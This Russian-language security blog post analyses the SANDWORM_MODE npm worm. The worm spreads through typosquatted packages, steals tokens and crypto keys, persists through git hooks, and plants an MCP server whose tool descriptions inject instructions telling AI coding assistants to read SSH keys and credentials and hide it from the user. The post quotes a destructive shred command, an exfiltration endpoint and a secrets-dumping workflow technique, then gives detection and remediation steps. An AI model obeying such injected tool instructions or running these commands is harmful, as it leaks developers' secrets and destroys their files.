Блог

SANDWORM_MODE: npm-червь, который читает ваши ключи и секреты руками Claude Code

SANDWORM_MODE_the-npm-worm_Claude
Linux / Безопасность

SANDWORM_MODE: npm-червь, который читает ваши ключи и секреты руками Claude Code

Вы устанавливаете обычный npm-пакет — что-то вроде supports-color, только с опечаткой в названии, которую не заметил ни один разработчик в вашей команде. Через минуту в проекте уже стоит рабочий цветной вывод в терминале, всё выглядит нормально. А через 48-96 часов, когда никто уже не помнит про этот install, где-то в фоне открывается файл ~/.ssh/id_rsa. Открывает его не хакер. Открывает его ваш собственный Claude Code, Cursor или VS Code — потому что подложенный MCP-сервер вежливо попросил модель «для точности результата» сначала прочитать пару приватных ключей и переменных окружения, а потом ничего об этом не говорить пользователю.

Это не гипотетический сценарий. В феврале 2026 года команда Socket Threat Research обнаружила действующую кампанию, которую отследили по внутренним флагам малвари как SANDWORM_MODE — червя, распространяющегося через как минимум 19 вредоносных npm-пакетов. В июле 2026 года CrowdStrike опубликовала разбор попыток детектирования этой кампании и честно призналась: из 14 исследованных типов активности надёжный сигнал для алертов удалось выделить только для двух. Причина проста и неприятна — то, что делает червь, почти неотличимо от того, что легитимно делают AI-ассистенты и CI-системы каждый день.

ЧТО ТАКОЕ SANDWORM_MODE

SANDWORM_MODE — прямое развитие семейства Shai-Hulud, того самого червя, что в сентябре 2025 года скомпрометировал через фишинг мейнтейнера Josh Junon (Qix-) и разошёлся по нескольким сотням npm-пакетов, включая supports-color, которым он совместно с Sindre Sorhus поддерживает. Название кампании исследователи взяли не для красоты — оно буквально зашито в код: малварь управляется через переменные окружения с префиксом SANDWORM_* (SANDWORM_MODE, SANDWORM_SKIP_DELAY, SANDWORM_DRAIN_ENDPOINT и так далее), и вся дюновская тематика Shai-Hulud перекочевала в эти операторские тумблеры почти без изменений.

Технически это модульный имплант в 19 npm-пакетах под двумя алиасами публикаторов — official334 и javaorg. Пакеты — типосквоты: suport-color вместо supports-color, claud-code, cloude и cloude-code вместо Claude Code, opencraw вместо виральной AI-агентской утилиты OpenClaw с 210 тысячами звёзд на GitHub. Расчёт очевиден: разработчик, который на автомате набирает npm i claude-code с опечаткой, получает не помощника, а червя. При этом импортированный пакет ведёт себя абсолютно нормально — [email protected], например, честно реализует определение поддержки цвета в терминале, как и оригинал, которому подражает.

КАК УСТРОЕН МЕХАНИЗМ

Внутри — трёхступенчатая архитектура, спроектированная так, чтобы каждая ступень скрывала следующую от разного типа анализа.

Ступень 0 — загрузчик. В теле пакета лежит блоб размером порядка 167 килобайт в base64, который на импорте инфлейтится через zlib.inflateSync(), расшифровывается XOR-ом со статичным 32-байтным ключом и исполняется через непрямой eval() — конструкцию (0,eval)(d), которая обходит некоторые эвристики, завязанные на прямой вызов eval. В другом варианте, пакете scan-store, авторы пошли дальше: полезная нагрузка разбита на 45 фрагментов base64, замаскированных под обычные поля конфигурационного объекта (_cfg_000_cfg_044), собирается в рантайме и исполняется через Module._compile() — то есть вообще без файла на диске, чисто в памяти процесса. Ни один статический сканер, который проверяет пакет на этапе публикации, не увидит здесь ничего, кроме шума байтов.

Ступень 1 стартует сразу после распаковки и первым делом снимает отпечаток окружения — проверяет наличие переменных:

  • CI
  • GITHUB_ACTIONS
  • GITLAB_CI
  • CIRCLECI
  • JENKINS_URL
  • BUILDKITE

Если хотя бы одна установлена — червь считает, что находится в CI-раннере, и запускает основную функцию немедленно. Если нет — выставляет джиттер-таймаут 5-30 секунд, вычисленный из MD5 хеша hostname и username, с флагом .unref(), чтобы не держать процесс Node открытым и не спалиться в диспетчере задач. При этом module.exports = {} — с точки зрения кода, который импортировал пакет, это пустышка, ничего не произошло.

Дальше — быстрый сбор без исполнения шелл-команд, только чтение файлов. Червь читает:

  • .npmrc из домашней директории и текущей рабочей директории — auth-токены, proxy credentials
  • переменные окружения, совпадающие с паттернами KEY, SECRET, TOKEN, PASSWORD
  • GitHub-токены форматов ghp_, gho_, github_pat_
  • конфиги вроде hardhat.config, foundry.toml, .env — оттуда вытаскиваются приватные ключи, мнемоники BIP39, ключи Solana, BTC WIF, xprv

Если крипто-ключи найдены — их отправляют немедленно, ещё до всякой проверки временного гейта, через отдельный HTTP POST на Cloudflare Worker https://pkg-metrics.official334.workers.dev/drain, авторизованный захардкоженным bearer-токеном. Это страховка авторов: даже если что-то пойдёт не так со следующей ступенью, самое ликвидное — уже утекло.

Только после этого проверяется временной гейт: время установки пакета (mtime директории) плюс базовая задержка 48 часов плюс джиттер до 48 часов сверху, привязанный к хешу hostname+username. Итоговая задержка — 48-96 часов в зависимости от машины. В CI-окружениях этот гейт полностью игнорируется ещё на шаге определения среды — там всё срабатывает мгновенно, потому что жизненный цикл раннера короче любой задержки. Если время ещё не пришло на обычной рабочей станции — выполнение останавливается, но данные, собранные до этого момента, уже ушли.

Когда гейт открывается, ступень 1 расшифровывает встроенный шифротекст ступени 2 через AES-256-GCM с 32-байтным ключом, собранным из двух XOR-компонентов, записывает результат во временный файл вида /dev/shm/.node_<hex>.js (или в системный temp, если /dev/shm недоступен), делает require() и сразу же unlink() — файл существует на диске считанные миллисекунды. Это прямой аналог reflective loading, только адаптированный под рантайм Node вместо памяти процесса Windows.

Ступень 2 экспортирует пять модулей: Propagate, Exfil, DeadSwitch, McpInject и GitHooks. Именно здесь начинается самое интересное для читателя, который держит на своих серверах и рабочих станциях nginx, CI-раннеры и AI-ассистентов одновременно.

РЕАЛЬНАЯ ЦЕПОЧКА АТАКИ

Начнём с распространения — модуль Propagate реализует три независимых вектора, которые пробуются каскадом. Первый: если у червя есть украденный npm-токен, он вызывает whoami, чтобы подтвердить владельца, перечисляет все пакеты этого аккаунта, сортирует их по количеству загрузок — чем больше скачиваний и чем дольше пакет заброшен, тем выше «score», то есть тем привлекательнее цель для захвата — скачивает тарбол, переименовывает оригинальный entry-файл в index.original.js, кладёт малварь в .cache/content-v2.cjs, создаёт shim-обёртку, которая грузит малварь и потом честно реэкспортирует оригинал, поднимает patch-версию в semver и публикует пакет через npm.

npm publish --access public

Если для публикации требуется OTP — червь останавливается на этом шаге, обойти двухфакторку он не умеет.

Второй вектор — GitHub API с украденными токенами: перечисляются все нефорковые и неархивированные репозитории, ищутся package.json в корне и в директориях монорепозитория, добавляется зависимость на «несущий» пакет — тот самый, который червь успешно опубликовал на первом шаге. Коммит пытается пройти напрямую в основную ветку; если стоит branch protection — создаётся отдельная ветка с невинным названием вроде chore/update-deps-a1b2c3, открывается PR с заголовком «Routine dependency version update», и червь пытается его же и смержить — сначала squash, потом обычный merge, потом rebase, потом через GraphQL enableAutoMerge. Параллельно в репозиторий добавляется workflow с триггером pull_request_target, который сериализует секреты через ${{ toJSON(secrets) }} и отправляет их по HTTPS с DNS-фолбэком.

Третий вектор — SSH — включается только если первые два не дали ни одного смерженного PR и в окружении есть SSH_AUTH_SOCK. Червь проверяет доступ к GitHub следующей командой.

ssh -T [email protected] 2>&1

Из ответа GitHub вытаскивается имя пользователя, дальше червь сканирует на глубину 3 директории вроде:

  • ~/projects
  • ~/repos
  • ~/dev
  • ~/work

Находит до 50 репозиториев с GitHub-remote в конфиге и клонирует их по SSH, добавляет зависимость, коммитит от имени жертвы и пробует запушить — если ветка защищена, создаёт новую и пушит в неё.

Отдельно от распространения работает закрепление через git-хуки: червь создаёт ~/.git-templates/hooks/pre-commit и pre-push с вредоносной логикой, сохраняя существующие хуки как .original и вызывая их следом, чтобы ничего не сломать заметно.

Затем выставляется глобальный git-конфиг init.templateDir, указывающий на ~/.git-templates. С этого момента каждый новый git init или git clone на машине автоматически наследует заражённые хуки — без единого дополнительного действия со стороны атакующего.

Pre-commit незаметно добавляет «несущую» зависимость в package.json при любом коммите, который его касается; pre-push при каждом push сливает токены из .npmrc, git-remote’ы и секреты окружения через DNS.

И, наконец, модуль McpInject — то, что делает эту кампанию отдельным классом атак, а не очередной вариацией Shai-Hulud. Червь генерирует случайное правдоподобное имя вроде dev-utils или node-analyzer, создаёт скрытую директорию в домашнем каталоге (~/.dev-utils/) и разворачивает там собственный MCP-сервер, который регистрирует три безобидно звучащих инструмента — index_project, lint_check, scan_dependencies — по стандартному JSON-RPC протоколу MCP.

В описание каждого инструмента вшита prompt injection: блок <IMPORTANT>, который инструктирует модель перед использованием инструмента прочитать следующие файлы:

  • ~/.ssh/id_rsa
  • ~/.ssh/id_ed25519
  • ~/.aws/credentials
  • ~/.npmrc
  • файлы .env в корне проекта

А также собрать переменные окружения, содержащие в имени TOKEN, KEY, SECRET или PASSWORD, и передать всё это как JSON в параметре context — при этом блок явно указывает не упоминать этот шаг пользователю, потому что он якобы «обрабатывается внутренним пайплайном автоматически».

Дальше сервер прописывается в конфиги всех основных AI-ассистентов:

  • Claude Code — ~/.claude/settings.json
  • Claude Desktop — на всех трёх платформах
  • Cursor — ~/.cursor/mcp.json
  • VS Code Continue — ~/.continue/config.json
  • Windsurf — ~/.windsurf/mcp.json

Запись в mcpServers выглядит абсолютно так же, как если бы пользователь сам добавил локальный сервер разработки.

То есть атакующему не нужно эксплуатировать уязвимость в самой модели. Он просто описывает вредоносное действие как обязательный шаг для «точности результата» — а модель, которая по протоколу MCP доверяет описаниям инструментов, выполняет его молча. Тот же модуль параллельно собирает API-ключи девяти провайдеров LLM — OpenAI, Anthropic, Google, Groq, Together, Fireworks, Replicate, Mistral, Cohere — из переменных окружения и .env-файлов, проверяя каждый по regex формату.

Если распространение и эксфильтрация одновременно проваливаются — срабатывает DeadSwitch, деструктивный переключатель, который на момент публикации отчёта был выключен (enabled: false), но команда для его срабатывания на Linux/macOS уже зашита в код:

find ~ -type f -writable -user $USER -print0 | xargs -0 shred -uvz -n 1

Это необратимое затирание всех доступных для записи файлов пользователя.

ТАЙМЛАЙН

17 февраля 2026 года создаётся публичный GitHub-репозиторий ci-quality/code-quality-check под тем же операторским аккаунтом — маскируется под безобидный GitHub Action для проверки качества кода в Node.js-проектах. Внутри — 809-строчный бандл, который харвестит CI-секреты, экспортирует «Code Quality Check Results» с нулём найденных проблем в job summary и параллельно тем же движком, что и npm-червь, инжектит зависимости и workflow-файлы в доступные репозитории. Формула ранжирования пакетов для захвата буквально продублирована в закомментированном на японском виде: «сортировка по score, где score равен количеству загрузок, умноженному на минимум из числа лет заброшенности и пяти».

20 февраля 2026 года команда Socket Threat Research публикует детальный разбор кампании, идентифицирует 19 вредоносных пакетов и оба алиаса-публикатора. Перед публикацией Socket уведомляет npm, GitHub и Cloudflare — Cloudflare оперативно отключает workers, npm удаляет пакеты, GitHub закрывает инфраструктуру аккаунта. На момент публикации отчёта репозиторий ci-quality/code-quality-check подтверждённого публичного распространения не показал — возможно, он вообще предназначался только для внутреннего тестирования.

В течение февраля-марта 2026 года о кампании отдельно пишут Endor Labs, Kodem Security, SecurityWeek, Help Net Security и другие — все ссылаются на первичное исследование Socket и в основном сходятся в одном: это первая массовая кампания, которая целенаправленно эксплуатирует не саму уязвимость в коде, а доверие AI-ассистента к описаниям MCP-инструментов.

21 июля 2026 года CrowdStrike публикует собственный разбор — не новое исследование происхождения, а отчёт о попытке построить детектирование поверх уже известной кампании. Из этого отчёта следует, возможно, самая неприятная деталь всей истории.

ПОЧЕМУ ЭТО ВАЖНО

CrowdStrike провела gap-анализ между возможностями SANDWORM_MODE и существующим детект-контентом и получила результат, который стоит прочитать медленно: из 14 исследованных типов вредоносной активности хоть какой-то различимый сигнал удалось получить для девяти, но только два прошли планку достоверности, достаточную для клиентских алертов. Остальное осело в silent alerting — телеметрия собирается, но пользователю ничего не показывается, потому что слишком высок риск ложных срабатываний.

Причина этого — не слабость конкретных детекторов, а структурное свойство среды. Легитимный AI-ассистент под капотом — это процесс node, который читает конфигурационные файлы, пишет их, спавнит дочерние процессы и обращается к внешним API. Червь делает ровно то же самое теми же средствами по тем же причинам. На стороне CI то же самое: пайплайн легитимно вызывает npm publish, создаёт коммиты, открывает PR, пушит в репозитории, управляет секретами — пропагационная логика червя функционально неотличима от обычного релизного процесса. CrowdStrike прямо называет это развитием классической техники living-off-the-land (когда вредоносная активность маскируется под штатные системные утилиты вроде PowerShell или certutil) применительно к AI-инфраструктуре разработки — living off the AI toolchain.

Отдельно бьёт по детектированию сама архитектура тайм-бомбы: 48-96 часов между установкой пакета на рабочей станции разработчика и моментом, когда происходит что-то подозрительное. Событие импорта пакета и вредоносная активность оказываются в разных окнах телеметрии, которые для многих SIEM и EDR-решений могут просто не пересекаться по глубине хранения логов.

Для читателя этого блога есть три отдельных слоя риска. Если вы администрируете CI/CD-инфраструктуру — раннеры GitHub Actions, GitLab CI или self-hosted билд-серверы — вы имеете дело со средой, где временной гейт червя обходится полностью и где секреты собираются и утекают в первые секунды выполнения джобы. Если вы или ваша команда используете Claude Code, Cursor, Windsurf или VS Code с расширениями на рабочих станциях — вы потенциально доверяете локальному MCP-серверу, который вы сами не устанавливали и о существовании которого можете не знать, пока не проверите конфиг руками. И если вы поддерживаете собственные npm-пакеты — вы можете стать носителем следующей волны, даже если сами никогда не устанавливали ни один из 19 известных заражённых пакетов, просто потому что ваш npm или GitHub токен утёк с чужой скомпрометированной машины.

КАК ЭТОГО ИЗБЕЖАТЬ

Первое и самое очевидное — MCP-серверы не появляются в конфигах AI-ассистентов сами по себе, поэтому регулярная проверка следующих файлов на предмет записей mcpServers, которые вы не добавляли сами, должна стать такой же рутинной операцией, как проверка crontab -l после подозрения на компрометацию сервера:

  • ~/.claude/settings.json
  • ~/.cursor/mcp.json
  • ~/.continue/config.json
  • ~/.windsurf/mcp.json

Ищите записи, указывающие на скрытые директории вида ~/.dev-utils, ~/.node-analyzer и подобные — легитимные MCP-серверы обычно ссылаются на известные npm-пакеты или установленные пути, а не на случайно названные скрытые каталоги в домашней директории.

Если сервер, на котором работает Claude Code, имеет административное управление, официальная документация Claude Code даёт прямой способ ограничить, какие MCP-серверы вообще могут загружаться. Список серверов, реально подключённых в текущей сессии, показывает команда:

claude mcp list

Если в выводе есть сервер, который никто из команды не добавлял — это сигнал компрометации, требующий немедленной проверки. Чтобы заблокировать конкретный сервер по имени независимо от того, как он был добавлен, в managed settings source (server-managed settings или файл managed-settings.json) прописывается запись deniedMcpServers:

{
  "deniedMcpServers": [
    { "serverName": "dev-utils" }
  ]
}

Денилист объединяется из всех источников настроек и применяется даже к серверам, уже прописанным в конфиге пользователя. Для более надёжной блокировки, устойчивой к переименованию сервера, вместо имени лучше указывать точную команду запуска через serverCommand.

Третье — архитектурное решение, а не разовая проверка: секреты, к которым может обратиться процесс, запускающий сторонний код (а npm install с post-install скриптами, MCP-серверы и AI-ассистенты — именно такие процессы), должны быть минимальны по принципу наименьших привилегий. Там, где это возможно, установку зависимостей стоит выполнять с отключёнными post-install скриптами.

npm install --ignore-scripts

Дополнительно — отдельные scoped npm-токены с коротким временем жизни вместо одного долгоживущего токена с правами на публикацию всех ваших пакетов, и переход на OIDC-based trusted publishing вместо хранения npm-токенов в переменных CI: это конкретные шаги, которые снижают ценность каждой отдельно украденной единицы credentials.

Четвёртое — на уровне git-инфраструктуры стоит явно проверить значение глобального параметра init.templateDir на всех рабочих станциях команды:

git config --global --get init.templateDir

Если команда вернула пустой вывод — параметр не задан, всё в порядке. Если там прописан путь, который никто из администраторов не устанавливал намеренно, содержимое этой директории нужно изучить прежде, чем удалять.

То же касается следующих директорий в существующих репозиториях:

  • .git/hooks/
  • .husky/

Если хуки внезапно ссылаются на файлы .original рядом с собой, это почти наверняка означает, что оригинальный хук был подменён и сохранён как резервная копия вредоносным кодом, а не разработчиком.

Пятое — для CI-раннеров: ограничение workflow, которые могут публиковать пакеты или обращаться к секретам, обязательный ревью изменений в .github/workflows/ и в файлах зависимостей как отдельная категория pull request’ов, требующая ручного одобрения, а не автомерджа, и мониторинг аномальной активности публикации пакетов — если аккаунт мейнтейнера внезапно публикует пакет, которым не занимался месяцами, это стоит заметить до того, как заметит сообщество.

ЧТО ДЕЛАТЬ

Если у вас в проектах или в CI когда-либо устанавливался хотя бы один из следующих пакетов — считайте окружение, где это произошло, потенциально скомпрометированным вне зависимости от того, сколько времени прошло:

  • claud-code
  • cloude-code
  • cloude
  • crypto-locale
  • crypto-reader-info
  • detect-cache
  • format-defaults
  • hardhta
  • locale-loader-pro
  • naniod
  • node-native-bridge
  • opencraw
  • parse-compat
  • rimarf
  • scan-store
  • secp256
  • suport-color
  • veim
  • yarsg

Проверять каждый пакет из списка по отдельности через npm ls утомительно — вместо этого можно проверить все 19 сразу одной командой через npm query, которая поддерживает CSS-подобные селекторы с логическим ИЛИ через запятую:

npm query "[name=claud-code], [name=cloude-code], [name=cloude], [name=crypto-locale], [name=crypto-reader-info], [name=detect-cache], [name=format-defaults], [name=hardhta], [name=locale-loader-pro], [name=naniod], [name=node-native-bridge], [name=opencraw], [name=parse-compat], [name=rimarf], [name=scan-store], [name=secp256], [name=suport-color], [name=veim], [name=yarsg]"

Команда вернёт JSON-массив со всеми найденными совпадениями в дереве зависимостей; пустой массив [] означает, что ни один из перечисленных пакетов не установлен. Если нужно проверить конкретный пакет по отдельности, для этого подойдёт и более простая команда:

npm ls <имя_пакета>

Если вывод показывает путь к пакету — он установлен, прямо или как транзитивная зависимость. Дальше удалите его штатной командой:

npm uninstall <имя_пакета>

Это уберёт пакет не только с диска, но и из package.json, package-lock.json и npm-shrinkwrap.json, если они есть. Но одной этой команды недостаточно — раз червь уже мог закрепиться через git-хуки и MCP-конфиги до удаления пакета, после неё всё равно нужно полностью снести node_modules/ и переустановить зависимости с нуля, не полагаясь на частичную очистку.

Дальше — ротация всех токенов и секретов, до которых потенциально мог дотянуться процесс: npm-токены, GitHub-токены, CI-секреты, ключи AWS, если они лежали в переменных окружения на затронутой машине. Проверьте историю изменений package.json за последние месяцы на предмет добавлений, которые никто из команды не помнит — команда покажет полную историю коммитов, затронувших этот файл, включая переименования:

git log -p --follow -- package.json

Ту же команду стоит повторить для lock-файлов и файлов в .github/workflows/, подставив соответствующий путь вместо package.json — особенно ищите новые workflow с триггером pull_request_target.

Проверьте глобальную настройку init.templateDir в git-конфиге на каждой рабочей станции разработчиков:

git config --global --get init.templateDir

Если она указывает на директорию, которую вы сознательно не настраивали сами, содержимое hooks/ внутри неё нужно прочитать вручную, прежде чем удалять конфигурацию.

Наконец, вручную сверьте каждую запись в mcpServers с тем, что реально устанавливали вы или ваши разработчики. Содержимое конфигов можно вывести напрямую в терминал:

cat ~/.claude/settings.json ~/.cursor/mcp.json ~/.continue/config.json ~/.windsurf/mcp.json 2>/dev/null

Флаг 2>/dev/null подавляет ошибки для тех файлов, которых на конкретной машине может не быть — если ни один ассистент не установлен, вывод будет пустым, и это нормально. Если используется Claude Code, тот же список серверов текущей сессии можно получить командой claude mcp list — вывод должен содержать только серверы, которые команда сознательно подключала. Патча для этой категории атак не существует в привычном смысле — потому что уязвим не код, а модель доверия между инструментом и ассистентом, который его использует.

ВЫВОДЫ

Для администратора CI/CD-инфраструктуры: временной гейт SANDWORM_MODE полностью снимается в CI-средах — там, где вы больше всего доверяете автоматизации, червь срабатывает быстрее всего. Аудит workflow-файлов на предмет неожиданных триггеров pull_request_target и ограничение прав GITHUB_TOKEN по умолчанию должны стать частью базовой конфигурации, а не разовой мерой после инцидента.

Для разработчика, использующего Claude Code, Cursor, Windsurf или другой AI-ассистент: проверьте mcpServers в конфигах прямо сейчас, вне зависимости от того, устанавливали ли вы что-то из списка заражённых пакетов — если в команде хотя бы у одного разработчика стоял заражённый пакет и git hooks успели закрепиться через общие шаблоны или общие репозитории, риск не ограничивается одной машиной.

Для мейнтейнера собственных npm-пакетов: переход на scoped-токены с коротким временем жизни и OIDC-based trusted publishing снимает саму возможность того первого шага, с которого начинается вся цепочка распространения SANDWORM_MODE — кражи долгоживущего токена публикации.

Leave your thought here

Ваш адрес email не будет опубликован. Обязательные поля помечены *